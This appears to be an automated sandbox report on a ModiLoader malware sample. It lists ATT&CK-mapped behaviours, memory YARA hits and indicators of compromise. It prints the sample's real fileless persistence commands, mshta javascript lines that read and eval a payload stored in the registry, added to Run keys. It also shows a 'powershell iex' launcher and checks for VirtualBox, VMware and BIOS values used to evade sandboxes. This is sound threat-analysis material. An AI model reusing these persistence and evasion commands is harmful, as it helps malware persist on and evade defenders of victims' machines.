modiloader | b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs

evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

description	ioc	Process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 10 IoCs

resource	yara_rule
behavioral1/memory/1464-56-0x0000000000400000-0x000000000045D000-memory.dmp	modiloader_stage2
behavioral1/memory/1464-60-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1464-62-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1624-65-0x0000000005C50000-0x0000000005D10000-memory.dmp	modiloader_stage2
behavioral1/memory/1624-69-0x0000000005C50000-0x0000000005D10000-memory.dmp	modiloader_stage2
behavioral1/memory/1828-71-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-75-0x00000000001A0000-0x0000000000260000-memory.dmp	modiloader_stage2
behavioral1/memory/1464-76-0x0000000000050000-0x0000000000110000-memory.dmp	modiloader_stage2
behavioral1/memory/1828-77-0x0000000000090000-0x0000000000150000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-78-0x00000000001A0000-0x0000000000260000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:YGL2P0cd=\"VI8q1M\";g9a=new%20ActiveXObject(\"WScript.Shell\");W5GkxczSB=\"6LuGCY\";tj8KK=g9a.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\a3ad80ee84\\\\4b43b777\");iJhnOZ38=\"i8faeTI\";eval(tj8KK);aChyn6Rs=\"UiRTI0\";"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
1828	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:NIX9QsSe=\"z\";CF6=new%20ActiveXObject(\"WScript.Shell\");JkZ0No7oz=\"c\";ifj7f=CF6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\a3ad80ee84\\\\4b43b777\");X7gdvNO7=\"vpTHI\";eval(ifj7f);aMNPk9aR=\"ymcprHCPYF\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:ShuWu5F=\"JLBoH80D\";H70O=new%20ActiveXObject(\"WScript.Shell\");XcoxPu8S4=\"0nXjYkxb\";qb59VH=H70O.RegRead(\"HKCU\\\\software\\\\a3ad80ee84\\\\4b43b777\");rgpf58Jxh=\"xu3PPqUyZ\";eval(qb59VH);r0Q3FdWkT=\"rxqiy\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1624	powershell.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1624	powershell.exe
1624	powershell.exe
1624	powershell.exe
1828	regsvr32.exe
1828	regsvr32.exe
1828	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1624	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 1624	844	mshta.exe	28
PID 844 wrote to memory of 1624	844	mshta.exe	28
PID 844 wrote to memory of 1624	844	mshta.exe	28
PID 844 wrote to memory of 1624	844	mshta.exe	28
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1624 wrote to memory of 1828	1624	powershell.exe	30
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31
PID 1828 wrote to memory of 1712	1828	regsvr32.exe	31

C:\Users\Admin\AppData\Local\Temp\b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226.exe
"C:\Users\Admin\AppData\Local\Temp\b4b2e6ec0267e86d67f98579945dab90f08608d6248db8340b6a95ae86813226.exe"
1⤵
PID:1464

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:tGQAo5uSg8="Xl5";rq86=new%20ActiveXObject("WScript.Shell");N5D8JKfE="K9k9hR";UVB93f=rq86.RegRead("HKLM\\software\\Wow6432Node\\PwD90ptROS\\TrqswyU");fngXlte1="Fbq";eval(UVB93f);H3PKqXh="NNVxA";
1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:nndvwkya
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VirtualBox drivers on disk
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      PID:1712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion